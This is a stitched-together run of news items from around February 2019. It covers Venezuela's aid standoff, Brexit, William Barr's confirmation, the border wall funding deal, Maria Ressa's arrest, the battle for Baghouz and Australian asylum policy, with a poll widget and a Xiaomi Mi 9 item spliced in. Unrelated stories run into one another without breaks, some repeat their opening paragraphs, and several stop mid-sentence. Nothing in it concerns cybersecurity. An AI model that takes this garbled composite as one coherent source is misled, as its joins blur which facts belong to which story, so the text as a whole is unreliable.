
Tuesday's hearing came a day after Judge Brooks issued a gag order in the case. That means anyone involved in the trial, including prosecutors, police, and defense attorneys, can't talk about the case in public. The court is concerned about pre-trial publicity affecting potential jurors in Mobile County.

"There's a gag order, so I can't answer any questions," Rich said.

"There has been a order or restraining any party from commenting on generally anything about the case," said Dennis Knizley, one of the defense attorney's on the case.

For the defense team, cases like this can be difficult to work on.

"The law is the law, sometimes the case law and the statues make defending a facts situation like this difficult, but that's what the law is and that's what my job is, so if it's hard so be it," Knizley said.Yes, it's the right time

No, the state should have waited a while longer

The economy should have been reopened a long time ago

Vote

View ResultsXiaomi has finally announced that the companys flagship Mi 9 smartphone, successor of last years Mi 8 will be announced on February 20th at an event in China. It also confirmed that is is codenamed Battle Angel. The phone was spotted in the wild last week, and the official teaser confirms the design with triple rear cameras and a flash arranged vertically.

TFBOYS Roy, also known as Wang Yuan it the brand ambassador of the Mi 9 with limited edition phone case. Lu Weibing after a meeting at Xiaomis R&D facility in Shenzhen confirmed that its flagship smartphone will be powered by Snapdragon 855, so the Mi 9 will likely come with the SoC, but it is not clear if it will come with 5G support.

Live images of the phone have surfaced. It is expected to feature a 6.4-inch Full HD+ waterdrop notch screen, 48-megapixel Sony IMX586 primary rear camera sensor and a 3500mAh battery with support for 27W fast charging. It is rumored to start at 2999 yuan (US$ 443 / Rs. 31,335 approx.). We should know more details soon.

Source 1, 2The passes were issued by students at Winston Churchill High School in Potomac during lunch Friday, according to an email that Principal Brandice C. Heckert sent to parents Monday. She denounced the incident as racist and promised to use the episode to foster a conversation about creating a welcoming and respectful climate for all.But the landscape is changing. A new state law in California opened such investigative records to members of the public for the first time. And New York Police Commissioner James ONeill  head of the largest police department in the nation  wrote an opinion piece in the New York Daily News last week in which he argued that New York law must be changed to allow for the release of such records."American law enforcement has been slow to acknowledge the rise and scope of white nationalism, and this has emboldened actors like the defendant," Vance said in a statement. "We have too often treated these crimes as something less than terrorism."Venezuela's opposition leader Juan Guaido told a huge rally of supporters that humanitarian aid will enter the country on 23 February, setting the stage for a showdown with President Nicolas Maduro, who has refused to let supplies in.

Caracas: Venezuelan opposition leader Juan Guaido told a huge rally of supporters on Tuesday that humanitarian aid will enter the country on 23 February, setting the stage for a showdown with President Nicolas Maduro, who has refused to let supplies in.

Tens of thousands of Venezuelans had protested in the streets nationwide on Tuesday to demand that Maduro allow aid into the country, where food and medicine shortages are rife.

Guaido invoked a constitutional provision to assume the presidency three weeks ago, arguing that Maduro's re-election last year was a sham. Most Western countries, including the United States, have recognised Guaido as Venezuela's legitimate president, but Maduro retains the backing of Russia and China as well as control of state institutions including the military.

An aid convoy supplied by the United States and Colombia arrived in the Colombian border town of Cucuta last week, where it is being held in warehouses. A Venezuelan opposition envoy has also said Brazil's government would try to get humanitarian aid to the border.

Maduro has denounced the aid as a US-orchestrated show to overthrow his socialist government and said it will not be let into the country. He has demanded instead that Washington lift economic sanctions.

On Tuesday, Guaido said he was issuing a "direct order" to the armed forces to allow the aid in, though so far there are not clear signs the military will disobey Maduro. Guaido did not specify from where aid would enter, but said the opposition would go in a convoy to safeguard the supplies.

"Put yourselves on the side of the constitution, but also on the side of humanity," Guaido said, in a message directed at the military. "23 February will be the day for the humanitarian aid to enter Venezuela, so from today we will have to get organised."

Maduro, in an interview with the BBC released on Tuesday, said Venezuela was "not a country of famine" and did not need aid. "The Ku Klux Klan governing the White House today wants to take possession of Venezuela," he said.

"In the west, Venezuela's situation is distorted to justify any sort of intervention."

Lack of medicine

Guaido, who has galvanized the opposition after several years of in-fighting and government crackdowns, vows to keep calling protests to pressure Maduro to step down so new presidential elections can be held.

On Monday, Guaido announced the first delivery of humanitarian aid, including vitamin and nutritional supplements for children and pregnant women, to a network of health centres. He did not explain how it had entered the country and said it was a small-scale donation.

"They have to let the aid in because people are dying from lack of medicine," said 72-year-old Armida Quintana, who stood on a plastic stool to see above the mass of people filling Caracas' Francisco de Miranda avenue on Tuesday.

"Little by little we have convinced everyone that Maduro is an impostor and a tyrant," she said, wearing a Venezuelan flag as a cape.

On Venezuela's border with Colombia, smaller opposition protests formed. In the town of Urena, across from Cucuta, several hundred people dressed in white danced in the streets, waving flags and chanting profanities against top government officials.

"We want a prosperous Venezuela, as it was before," said Mery Marin, a 25-year-old electrician. She said most young people from Urena had emigrated to escape the crisis.

The ruling Socialists, who have been in power for two decades, also rallied in Caracas to "demand respect for the country's sovereignty." A few thousand people gathered, including many state employees, holding "Defend the Country" banners.

Maduro's adversaries say he has run roughshod over democratic institutions and ravaged the nation's economy through nationalizations and a corruption-riddled exchange control system. Maduro counters that he is a victim of an "economic war."LONDON (Reuters) - Britain's lead Brexit negotiator Olly Robbins has saidlawmakers face a choice between Prime Minister Theresa May's exit deal or a long extension of the March 29 deadline for leaving the EU, ITV news said, citing a private conversation. ITV news reported that its correspondent had overheard Robbins, who is a career civil servant, not a politician, talking to colleagues at a hotel bar in Brussels on Monday.

LONDON (Reuters) - Britain's lead Brexit negotiator Olly Robbins has saidlawmakers face a choice between Prime Minister Theresa May's exit deal or a long extension of the March 29 deadline for leaving the EU, ITV news said, citing a private conversation.

ITV news reported that its correspondent had overheard Robbins, who is a career civil servant, not a politician, talking to colleagues at a hotel bar in Brussels on Monday.

Robbins said he expected UK lawmakers in March to be presented with the option of backing a reworked Brexit deal or a potentially significant delay to Brexit, the broadcaster said.

"The issue is whether Brussels is clear on the terms of extension," Robbins was overheard saying. "In the end they will probably just give us an extension."

May has repeatedly said that Britain will leave the EU on March 29.

ITV news said Robbins thought the fear of a long extension to Article 50 - the process of leaving the EU - might focus lawmakers' minds.

On the question of the backstop - an insurance policy to prevent the return of a hard border between the British province of Northern Ireland and EU-member Ireland - ITV news said Robbins had outlined a strategy to satisfy May's Conservative lawmakers. He said the European Commission would need to agree that the word "necessary" in the Northern Ireland protocol is defined as "necessary subject to the future trade deal".

ITV news said Robbins confirmed that the original plan was for the backstop to be designed not as a "safety net" for the island of Ireland but as "a bridge" to a long-term trading relationship between the EU and the UK.

"The big clash all along is the safety net," Robbins was quoted as saying. "We agreed a bridge but it came out as a safety net'."

(Reporting by James Davey; editing by Guy Faulconbridge and Gareth Jones)

This story has not been edited by Firstpost staff and is generated by auto-feed.By Andy Sullivan WASHINGTON (Reuters) - President Donald Trump's attorney general nominee, William Barr, could win confirmation in the U.S. Senate as soon as Wednesday despite Democrats' concerns about how he might handle Special Counsel Robert Mueller's Russia investigation. The Senate on Tuesday voted 55-44, largely along party lines, to advance his nomination in a strong sign that the Republican-controlled chamber will confirm him this week.

By Andy Sullivan

WASHINGTON (Reuters) - President Donald Trump's attorney general nominee, William Barr, could win confirmation in the U.S. Senate as soon as Wednesday despite Democrats' concerns about how he might handle Special Counsel Robert Mueller's Russia investigation.

The Senate on Tuesday voted 55-44, largely along party lines, to advance his nomination in a strong sign that the Republican-controlled chamber will confirm him this week.

That vote could come on Wednesday, Republican Senator Lindsey Graham said.

A corporate lawyer who previously served as attorney general under Republican President George H.W. Bush in the early 1990s, Barr has been praised by lawmakers from both parties as someone who is familiar with the workings of the Justice Department and does not owe his career to Trump.

If he wins the job, Barr's independence could be put to the test when Mueller wraps up his investigation into the Trump campaign's possible ties to Russia during the 2016 election.

The Republican president has repeatedly criticized the investigation as a "witch hunt" and denies any collusion with Moscow.

Barr says he would allow Mueller to finish his investigation and would make public as much of its findings as possible.

But Barr has stopped short of promising to release Mueller's report in its entirety -- a stance that troubles many Democrats, who say his expansive views of executive power might lead him to suppress portions that address whether Trump tried to obstruct the investigation.

Republicans say they are confident that Barr will make as much of the report public as possible.

(Reporting by Andy Sullivan; Editing by Lisa Shumaker)

This story has not been edited by Firstpost staff and is generated by auto-feed.By Susan Cornwell and Richard Cowan WASHINGTON (Reuters) - President Donald Trump expressed displeasure on Tuesday at a deal by congressional negotiators on border security that denied him funds for his promised U.S.-Mexican border wall, but did not reject it outright as fellow Republicans urged his support. Trump, who triggered a 35-day closure of about a quarter of the federal government with a December demand for $5.7 billion from Congress to help build the wall, said he had yet to decide whether to back the agreement reached on Monday night by four key Republican and Democratic lawmakers. Nevertheless, Trump signalled he did not expect another shutdown and hinted again at bypassing Congress to get his wall built.

By Susan Cornwell and Richard Cowan

WASHINGTON (Reuters) - President Donald Trump expressed displeasure on Tuesday at a deal by congressional negotiators on border security that denied him funds for his promised U.S.-Mexican border wall, but did not reject it outright as fellow Republicans urged his support.

Trump, who triggered a 35-day closure of about a quarter of the federal government with a December demand for $5.7 billion from Congress to help build the wall, said he had yet to decide whether to back the agreement reached on Monday night by four key Republican and Democratic lawmakers.

Nevertheless, Trump signalled he did not expect another shutdown and hinted again at bypassing Congress to get his wall built. Funding for the Department of Homeland Security, the Justice Department and a host of other agencies is due to expire on Friday under the stopgap spending measure passed last month by Congress to end the longest federal shutdown in U.S. history.

"I have to study it. I'm not happy about it," Trump told reporters at the White House about the tentative funding deal, which would need to be passed by the Democratic-led House of Representatives and Republican-controlled Senate and signed by him.

The deal included border security provisions and money to keep the affected parts of the government funded through Sept. 30, the end of the federal fiscal year.

Congressional Republicans have shown little appetite for another shutdown after taking heavy criticism over the prior one. "I hope he'll decide to sign it," Senate Majority Leader Mitch McConnell told reporters, even though Trump did not get everything he wanted. House Republican leader Kevin McCarthy also touted the deal.

Trump sent mixed messages about another shutdown.

"I don't think you're going to see a shutdown," Trump said, but he added: "If you did have it, it's the Democrats' fault."

Congressional sources said the agreement included $1.37 billion for new fencing - about the same as last year - along 55 miles (90 km) of the border but only with currently used designs such as "steel bollard" fencing. It also addressed capacity at immigration detention facilities, specifically the number of beds for people awaiting possible deportation.

Trump previously threatened to declare a "national emergency" if Congress did not provide money specifically for the wall, an action under which he might redirect other funds already provided by Congress to pay for wall construction. Fellow Republicans have told Trump such a step would almost certainly prompt a legal challenge.

'WE'RE BUILDING THE WALL'

On Tuesday, Trump signalled possible unilateral action.

"The bottom is on the wall: We're building the wall," Trump said, adding: "We're supplementing things, and moving things around, and we're doing things that are fantastic and taking, really, from far-less-important areas."

Republican James Inhofe, who heads the Senate Armed Services Committee, told reporters that he urged Trump weeks ago not to raid Pentagon accounts to build a wall. Inhofe indicated Trump could try to use Army Corps of Engineers funds.

Trump made the wall a central 2016 campaign promise, calling it necessary to combat illegal immigration and drug trafficking. He said Mexico would pay for it, but Mexican officials rejected that. Democrats have called a wall expensive, ineffective and immoral.

McConnell, who had counselled Trump against the previous shutdown, said Democrats had abandoned "unreasonable" demands. McCarthy told CNBC that Democrats had caved by allowing the new border fencing. The border barrier funding was far short, however, of the $5.7 billion in wall money Trump wanted and was less than Trump could have had in compromise legislation passed in December by the Senate.

Democrats said the formal legislation should be ready by Wednesday, leaving little time for Congress to pass the measure by Friday's midnight deadline.

Senior Democrats threw their weight behind the deal and said both sides gave ground. Top Senate Democrat Chuck Schumer said: "I strongly urge the president to sign this."

Tom Graves, a House Republican who serves on the congressional conference committee that worked on the issue, raised concerns about the compromise. But Mark Meadows, who heads the conservative House Freedom Caucus, said he expected Trump would sign it.

Trump retreated last month when he agreed to end the shutdown without getting wall money. The shutdown roiled financial markets and left hundreds of thousands of federal workers and contractors without pay. Trump will now have to decide whether to side with conservative commentators who have his ear including Sean Hannity of Fox News, who late on Monday called the deal a "garbage compromise."

Democrats oppose the wall, but support border security efforts. The number of beds in detention facilities was a contentious part of the negotiations because it can either constrain or expand the administration's ability to aggressively deport more immigrants, including those seeking asylum.

Congressional aides on Tuesday gave differing accounts on the number of beds the deal permitted, with some saying it would drop to 40,520 by later this year and others saying it could rise to 58,500. Democrats had sought to limit the number.

(Reporting by Richard Cowan and Susan Cornwell; Additional reporting by Doina Chiacu and Steve Holland in Washington and Roberta Rampton in El Paso, Texas; Writing by Will Dunham; Editing by Jonathan Oatis and Peter Cooney)

This story has not been edited by Firstpost staff and is generated by auto-feed.According to evidence presented in court, from 2011 to 2013, Galvan-Constantini, Montes-Patino and other co-conspirators helped to move millions of dollars derived from the sale of drugs throughout the US to Laredo in Texas

New York: Three Indian-Americans are among six people convicted for their role in a two-year multi-million dollar money-laundering scheme, the US Justice Department has said.

Ravinder Reddy Gudipati, 61; Harsh Jaggi, 54 and Neeru Jaggi, 51, all from Laredo, Texas, were convicted of a money laundering conspiracy following a five-week jury trial.

Along with the Indian-American trio, Adrian Arciniega-Hernandez, 36, of Nuevo Laredo, Mexico; Adriana Alejandra Galvan-Constantini, 36 and Luis Montes-Patino, 57, both from Irving, Texas, were convicted, said Assistant Attorney General Brian Benczkowski of the Justice Department's Criminal Division.

Harsh and Adrian were also convicted on two counts of money laundering and Neeru Jaggi was convicted on one count of money laundering. Gudipati was convicted on two counts of money laundering in addition to other counts.

Adrain, Galvan-Constantini, Montes-Patino, Gudipati, Harsh and Neeru were part of a complex money laundering scheme whereby money derived from the sale of drugs in the US was laundered through businesses in Laredo in order to return the proceeds to Mexican drug dealers.

According to evidence presented in court, from 2011 to 2013, Galvan-Constantini, Montes-Patino and other co-conspirators helped to move millions of dollars derived from the sale of drugs throughout the US to Laredo in Texas.

The US currency was moved by couriers via cars, commercial buses, commercial planes and also a private plane used in bulk cash amounts of up to hundreds of thousands of dollars at a time.

The money, in heat sealed packs, uneven rubber-banded money stacks or loose US currency, arrived in plastic bags, cloth bags, suitcases, backpacks and even cereal boxes, it said.

The money was then distributed among downtown Laredo, Texas perfume stores, including stores owned by Gudipati and Harsh and Neeru.MOSCOW (Reuters) - Russia said on Tuesday it was ready to facilitate the start of dialogue between Venezuela's government and opposition but warned the United States against intervening in Caracas' internal affairs. Russia has sided with President Nicolas Maduro in his stand-off with opposition leader Juan Guaido. Maduro retains control of state institutions including the military, but most Western countries, including the United States, have recognised Guaido as Venezuela's president

MOSCOW (Reuters) - Russia said on Tuesday it was ready to facilitate the start of dialogue between Venezuela's government and opposition but warned the United States against intervening in Caracas' internal affairs.

Russia has sided with President Nicolas Maduro in his stand-off with opposition leader Juan Guaido. Maduro retains control of state institutions including the military, but most Western countries, including the United States, have recognised Guaido as Venezuela's president.

"We have been maintaining very important contacts with the government of this country and stand ready to provide a kind service in order to facilitate the process of finding ways out of the situation," Tass news agency quoted Russian Deputy Foreign Minister Sergei Ryabkov.

He also said Russia had made some proposals to Venezuela on settling its crisis but gave no details.

Moscow has invested billions of dollars into Venezuela's economy and oil production.

On Tuesday opposition supporters returned to the streets nationwide to keep the heat on Maduro and demand that he allow humanitarian aid into Venezuela, where food and medicine shortages are rife.

Russian Foreign Minister Sergei Lavrov told U.S. Secretary of State Mike Pompeo in a telephone call on Tuesday evening that Washington should avoid any interference, including military, in Venezuela's internal affairs.

Lavrov also said Russia was ready for consultations on the situation in Venezuela in line with the United Nations charter.

(Reporting by Vladimir Soldatkin; Editing by Gareth Jones)

This story has not been edited by Firstpost staff and is generated by auto-feed.Philippine journalist Maria Ressa, who has repeatedly clashed with President Rodrigo Duterte, was arrested in her Manila office on Wednesday on libel charges in what rights advocates called an act of persecution.

Manila: Philippine journalist Maria Ressa, who has repeatedly clashed with President Rodrigo Duterte, was arrested in her Manila office on Wednesday in what rights advocates called an act of "persecution".

Her detention on a charge of "cyber libel" is a dramatic escalation in the legal pressure bearing down on Ressa and her website Rappler, which was already facing tax evasion charges that could shut it down.

"She's been arrested and she's been read her rights," Rappler co-founder Beth Frondoso told AFP. "Fingers crossed, we'll try to post bail tonight."

Ressa, who was named a Time Magazine "Person of the Year" in 2018 for her journalistic work, left the Rappler offices with agents from the National Bureau of Investigation and surrounded by cameras.

Rappler has drawn the administration's ire since publishing reports critical of Duterte's signature anti-drug crackdown that has killed thousands of alleged users and pushers since 2016.

However, the new case against Ressa and former Rappler reporter Reynaldo Santos, Jr. stems from a 2012 report written about a businessman's alleged ties to a then-judge on the nation's top court.

While investigators initially dismissed the businessman's 2017 complaint about the article, the case was subsequently forwarded to prosecutors for their consideration.

Philippine journalists immediately attacked the surprise serving of the warrant.

"The arrest of... Ressa on the clearly manipulated charge of cyber libel is a shameless act of persecution by a bully government," said the National Union of Journalists' of the Philippines.

"The government... now proves it will go to ridiculous lengths to forcibly silence critical media," it added.

Duterte has lashed out at other critical media outfits, including the Philippine Daily Inquirer newspaper and broadcaster ABS-CBN.

He had threatened to go after their owners over alleged unpaid taxes or block the network's franchise renewal application.

Some of the drug crackdown's highest profile critics have wound up behind bars, including Senator Leila de Lima, who was jailed on drug charges she insists were fabricated to silence her.

The law that forms the foundation of the case takes aim at various online offences, including computer fraud and hacking.

Under the tax case, the government accuses Rappler Holdings Corp., Ressa and the site's accountant of failing to pay taxes on 2015 bond sales that it alleges netted gains of 162.5 million pesos ($3 million).

The Philippine justice system is notoriously overburdened and slow, with even minor cases taking years to be judged.Nearly 600 civilians fled the Islamic State group's last bastion in eastern Syria on Tuesday, as Kurdish-led forces and the US-backed SDF boxed holdout jihadists into an ever-shrinking pocket.

Near Baghouz: Exhausted families trudged out of the Islamic State group's last bastion in eastern Syria on Tuesday, as Kurdish-led forces boxed holdout jihadists into an ever-shrinking pocket.

Hundreds fled at night but hundreds more during the day as plumes of grey smoke billowed into the sky over Baghouz, where diehard IS fighters are making their last stand.

The extremist group declared a cross-border "caliphate" in Syria and Iraq in 2014, but various military campaigns have chipped it down to a fragment on the Iraqi border.

After a pause of more than a week to allow out civilians, the Syrian Democratic Forces (SDF) declared a last push to retake the pocket from the extremists on Saturday.

Aided by the warplanes and artillery of a US-led coalition, the Kurdish-led alliance has pressed into a patch of less than 4 square kilometres.

SDF spokesman Mustefa Bali said 600 civilians fled the combat zone at night and the Syrian Observatory for Human Rights said another 350 made it out during the day.

The SDF have set up a pair of sand berms on a scrubby plateau overlooking Baghouz.

Most of the neighbourhoods visible along the hazy horizon are under their control, but the southernmost parts of the town  from which sounds of a firefight can be heard  are still held by IS.

Suddenly, black dots appeared on the dirt road that snakes across the plain from the ruins of the little town.

The SDF watched them warily at first, but as the group of about 25 people got closer, members of the Free Burma Rangers volunteer medical group scrambled down the hill to meet them.

There are no other NGOs or UN agencies at the site.

Half a dozen among the new arrivals were adult men. The rest were young children with dirty hair and women panting heavily after their odyssey out of Baghouz.

About half of them were Ukrainian or Russian women and their children, while most of the others were Syrian.

A 34-year-old woman from Crimea tore pieces of bread to give her three children. She identified herself as Umm Khaled and said she came to Syria five years ago after divorcing her Tatar husband.

Once there, she married an Azeri IS member and had two other children. "They are all fatherless now," she told AFP in broken Arabic, her voice shaking.

Coalition spokesperson Sean Ryan said US-backed forces were facing a fierce fightback.

"The progress is slow and methodical as the enemy is fully entrenched and IS fighters continue to conduct counter attacks," he said. "The coalition continues to strike at IS targets whenever available."

'Six hours? In the cold?'

On Monday, the Observatory said a coalition air strike killed 16 civilians.

An Italian journalist was also wounded as he covered the clashes and evacuated for treatment, a colleague said on Twitter.

The SDF launched the battle to expel IS from the eastern province of Deir Ezzor in September, slowly tightening the noose around the jihadists and their families since December.

In the past two months, more than 37,000 people, mostly wives and children of jihadist fighters, have fled into SDF-held areas, the Observatory says.

That figure includes some 3,400 suspected jihadists detained by the SDF, according to the Britain-based monitor.

At a gathering point for new arrivals, dozens of men knelt on the ground.

Iraqi and Syrian women and children prepared to make the long journey north to a Kurdish-held camp for the displaced, after spending the night in tents.

A very thin child with dark circles around his eyes stumbled onto a truck, as other children screamed out for water and their mothers asked how long the drive would take.

"Six hours? In the cold?" shouted a wrinkled Iraqi woman.

The SDF on Saturday said up to 600 jihadists could still be inside the pocket, adding their leader Abu Bakr al-Baghdadi was likely not there.

At the height of their proto-state, Baghdadi's followers implemented their brutal implementation of Islamic law in an area the size of Britain.

But various offensives, including by the SDF and Russia-backed regime forces, have taken back all but a speck of that territory near the village of Baghouz.

Once the "caliphate" is declared over, the fight will continue to tackle IS sleeper cells, the SDF and their allies have said.

US president Donald Trump on Monday said the coalition may declare victory over IS in the region within days.

"Soon it will be announced, soon, maybe over the next week, maybe less," he told a rally in the US city of El Paso.

Separately on Tuesday, the Syrian government and rebels exchanged prisoners in the country's north as part of a peace process brokered by Russia, Iran and Turkey, the Turkish government said.Donald Trump said that Ilhan Omar's apology was 'lame and she didn't mean a word of it.' He added that she should 'either resign from Congress or she should certainly resign from the House Foreign Affairs Committee.'

Washington: President Donald Trump said on Tuesday that freshman Representative Ilhan Omar's apology, for suggesting that members of Congress support Israel because they are being paid to do so, was "lame" and that she should resign.

In a pair of tweets over the weekend, the Minnesota Democrat, who is one of the first two Muslim women to serve in Congress, criticized the American Israel Public Affairs Committee, or AIPAC. "It's all about the Benjamins baby," she wrote, using slang for $100 bills.

Asked on Twitter who she thought was paying members of Congress to support Israel, Omar responded, "AIPAC!"

Trump told reporters at a Cabinet meeting on Tuesday that "anti-Semitism has no place in the United States Congress." The president said it was "terrible" what Omar said.

"I think she should either resign from Congress or she should certainly resign from the House Foreign Affairs Committee. What she said is so deep-seated in her heart." He said her apology was "lame and she didn't mean a word of it."

Omar said she had no intention of offending anyone, including Jewish Americans, when she insinuated that lobbyists were paying lawmakers to support Israel. She "unequivocally" apologized.

Vice President Mike Pence tweeted later on Tuesday:Mausean Carter, 31, allegedly carried out a series of drive-by shootings in December 2017 aimed at drug dealers in West Baltimore. He had become fed up with the drug dealers cat-calling his girlfriend, hassling him and sitting on the used cars he bought and sold from his home, police and prosecutors say.By Doina Chiacu and Patricia Zengerle WASHINGTON (Reuters) - Democratic lawmakers on Wednesday said Congress would oppose U.S. military intervention in Venezuela and challenged the credibility of President Donald Trump's special envoy, Elliott Abrams, over his past embrace of American covert action. The Democratic chairman of the House of Representatives Foreign Affairs Committee, Eliot Engel, expressed concern about Trump's hints that military action was an option in Venezuela, where President Nicolas Maduro is under intense international pressure to step aside and the country's economy is in chaos.

By Doina Chiacu and Patricia Zengerle

WASHINGTON (Reuters) - Democratic lawmakers on Wednesday said Congress would oppose U.S. military intervention in Venezuela and challenged the credibility of President Donald Trump's special envoy, Elliott Abrams, over his past embrace of American covert action.

The Democratic chairman of the House of Representatives Foreign Affairs Committee, Eliot Engel, expressed concern about Trump's hints that military action was an option in Venezuela, where President Nicolas Maduro is under intense international pressure to step aside and the country's economy is in chaos.

"I do worry about the president's sabre rattling, his hints that U.S. military intervention remains an option. I want to make clear to our witnesses and to anyone else watching: U.S. military intervention is not an option," Engel told a hearing on the OPEC nation.

The head of Venezuela's National Assembly, Juan Guaido, invoked a constitutional provision to assume the presidency three weeks ago, arguing that Maduro's re-election last year was a sham.

Most Western countries, including the United States, have recognised Guaido as Venezuela's legitimate head of state, but Maduro's socialist government retains the backing of Russia and China, as well as control of state institutions including the military.

Under U.S. law, Congress - not the president - must approve foreign military action. At the hearing, Democrats on the committee pressed Abrams on his views on military intervention, but questions about his credibility provoked the most heated exchanges.

Abrams, an assistant secretary of state under President Ronald Reagan, was convicted in 1991 of withholding information from Congress during the Iran-Contra scandal, in which U.S. officials secretly facilitated the sale of arms to Iran and funnelled the money to rebels fighting Nicaragua's leftist government. He was pardoned by President George H.W. Bush.

Representative Joaquin Castro asked Abrams if he was aware of any transfers of weapons or defence equipment by the U.S. government to groups in Venezuela opposed to Maduro. Abrams responded that he was not.

"I ask this question because you have a record of such actions," Castro said. "Can we trust your testimony today?"

Representative Ilhan Omar discussed U.S. support for anti-communists in Central America during the Cold War and cited Abrams' initial dismissal of reports of the 1981 El Mozote massacre in El Salvador as left-wing propaganda.

"Would you support an armed faction within Venezuela that engages in war crimes, crimes against humanity or genocide if you believe they serve the U.S. interests as you did in Guatemala, El Salvador or Nicaragua?" Omar asked.

"I am not going to respond to that question," Abrams replied. He called her questioning a personal attack.

Abrams also drew intermittent outbursts from protesters at the hearing. "You are a convicted criminal!" one man shouted before being escorted out.

PRESSURE ON MADURO

Abrams said Washington would keep up pressure on Maduro and his inner circle by "a variety of means."

"But we will also provide off-ramps to those who will do what is right for the Venezuelan people," he said.

Engel warned about the possible effects on the Venezuelan people of U.S. sanctions on state oil company PDVSA. The United States in January imposed sanctions aimed at limiting Maduro's access to oil revenue.

"I appreciate the need to squeeze Maduro," Engel said. "But the White House must think through the potential repercussions that these sanctions could have on the Venezuelan people if Maduro does not leave office in the coming weeks."

Panel witnesses described a devastating humanitarian situation. Steve Olive of the U.S. Agency for International Development said hospitals faced drastically reduced supplies, there were concerns about the power grid and rising reports of malnutrition.

"The situation is deteriorating on a daily basis," he said.

(Reporting by Patricia Zengerle and Doina Chiacu; Editing by Bill Berkrot and Rosalba O'Brien)

This story has not been edited by Firstpost staff and is generated by auto-feed.By Colin Packham SYDNEY (Reuters) - Australia will reopen a controversial detention centre for asylum seekers, Prime Minister Scott Morrison said on Wednesday after an embarrassing defeat in parliament that allows migrants in offshore camps to receive medical care in the country. The opposition Labour party and independents voted to amend hardline immigration laws to give doctors the right to transfer some 1,000 men and woman from two Pacific detention centres if they need medical treatment. The amendment, approved by the Senate on Wednesday, dealt a blow to the ruling conservative coalition which is trailing heavily in polls ahead of an election due in May.

By Colin Packham

SYDNEY (Reuters) - Australia will reopen a controversial detention centre for asylum seekers, Prime Minister Scott Morrison said on Wednesday after an embarrassing defeat in parliament that allows migrants in offshore camps to receive medical care in the country.

The opposition Labour party and independents voted to amend hardline immigration laws to give doctors the right to transfer some 1,000 men and woman from two Pacific detention centres if they need medical treatment.

The amendment, approved by the Senate on Wednesday, dealt a blow to the ruling conservative coalition which is trailing heavily in polls ahead of an election due in May.

Morrison, offering a preview of a campaign pitch likely to focus on immigration, said the change would bring a new wave of asylum seekers and forced the government to reopen a detention centre on Christmas Island, a territory some 1,550 km (960 miles) north-west of the mainland.

"We have approved putting in place the reopening of the Christmas Island detention facilities, both to deal with the prospect of arrivals as well as dealing with the prospect of transfers," Morrison told reporters in Canberra.

Previously, asylum seekers intercepted at sea and sent to camps in Papua New Guinea (PNG) and Nauru were not allowed to set foot in Australia unless the government decided they need urgent care.

Immigration Minister David Coleman said on Sunday the change would bring a return of the days when thousands of asylum-seekers travelled to Indonesia and then paid smugglers to take them on to Australia by boat.

Opponents accused the government of fear mongering, saying the amendment concerned only those already detained in the Pacific camps.

"This legislation is confined to the current cohort of people on Manus Island and Nauru," said Kerryn Phelps, an independent lawmaker.

"It does not provide any kind of attraction to people to leave where they are and to try to make the journey to Australia because they will not be considered as part of this legislation."

In Geneva, Philip Lynch, director of the International Service for Human Rights (ISHR), welcomed the new law and said that Australia's system has "deliberately dehumanised" refugees and asylum seekers for decades.

Also in the Swiss city on Wednesday night, Abdul Aziz Muhamat, a Sudanese refugee activist who has spent five years on Manus Island, won the Martin Ennals Award 2019, one of the most prestigious international human rights prizes, organisers said.

This award sheds light on the very cruel refugee policy of the Australian Government. It also brings international attention to the dangers and ill-treatment faced by refugees all over the world, including in countries that claim they uphold the Refugee Convention, he said in an acceptance statement.

The U.N. refugee agency, in a separate statement praising Muhamat's advocacy work, said that UNHCR "continues to urge that solutions be found for all refugees and asylum-seekers under Australias offshore processing in Papua New Guinea and Nauru as a matter of urgency."

ELECTION

The Christmas Island detention facilities - shuttered last year after 10 years in operation - has been a central scene in the outcome of previous national elections.

In 2001, Australia's then conservative Prime Minister John Howard refused permission for a Norwegian ship carrying 433 rescued refugees to enter Australian waters.

Howard, who was trailing in the polls at the time, won re-election and held onto power until 2007. After he left office, the centre-left Labour government began holding refugees on Christmas Island.

As a stream of new arrivals swelled already cramped conditions, protests broke out that fuelled an image of a government that had lost control of national security, propelling the conservatives back to power in 2013.

Morrison is hoping to use the issue to win favour with disillusioned voters, said Peter Chen, a professor of political science at the University of Sydney.

"Morrison will be happy to fight an election on this issue. He doesn't have a lot to campaign on, but on this he is on strong ground," he said.

(Reporting and writing by Colin Packham; additional reporting by Stephanie Nebehay in Geneva; editing by Darren Schuettler)

This story has not been edited by Firstpost staff and is generated by auto-feed.By Idrees Ali BAGHDAD (Reuters) - Acting U.S. defence chief Patrick Shanahan told Iraqi leaders that Washington understood its forces were in Iraq at Baghdad's invitation, aiming to steady relations after President Donald Trump said U.S.

By Idrees Ali

BAGHDAD (Reuters) - Acting U.S. defence chief Patrick Shanahan told Iraqi leaders that Washington understood its forces were in Iraq at Baghdad's invitation, aiming to steady relations after President Donald Trump said U.S. troops were needed to keep an eye on Iran.

Shanahan met Prime Minister Adel Abdul Mahdi during an unannounced trip to Baghdad on Tuesday.

"I made very clear that we recognise their sovereignty, their focus on independence and that we are there at the invitation of the government," Shanahan told reporters.

Trump infuriated Iraqi politicians this month by saying that a U.S. presence was needed in Iraq to observe Iran. Washington, which occupied Iraq from 2003-2011, now has around 5,200 troops in Iraq at the request of the Baghdad government to help fight against Islamic State.

Iraq is an ally of both the United States and Iran, and its politics are often dominated by efforts to balance relations with two powerful countries that are bitter enemies.

Trump's suggestion that Iran was the target of the U.S. presence in Iraq was denounced across the political spectrum in Baghdad last week, including by Abdul Mahdi. President Barham Salih said the U.S. troops must stick to their anti-Islamic State mission; Iran-aligned politicians in Iraq's parliament pressed demands that the U.S. mission be scaled back.

The uproar came just months after Trump angered Iraqi leaders on his only visit to the country so far. On the day after Christmas Trump stopped only at a U.S. air base in the remote desert. Unlike predecessors Barack Obama and George W. Bush, he skipped the capital Baghdad and met no Iraqi officials.

Shanahan said the topic of U.S. troops in Iraq and Trump's Iran comments did not come up during his talks with Abdul Mahdi, but the prime minister told him that Iraq needed to maintain strong relations with both Washington and Tehran.

"There is activity in their legislature... the discussions have been should they restrict the number of U.S. forces in Iraq and I wanted to make clear to (Abdul Mahdi) that we recognise our role, we understand that we are there by invitation," Shanahan said.

Speaking after meeting with Shanahan, Abdul Mahdi said he respected the decisions of the parliament.

"The government has its view and the political blocs have theirs," he said.

SYRIA WITHDRAWAL

U.S. officials have criss-crossed the Middle East in recent months to reassure allies that Washington remains committed to the region, after Trump announced in December that he would abruptly withdraw the 2,000 U.S. troops from Syria.

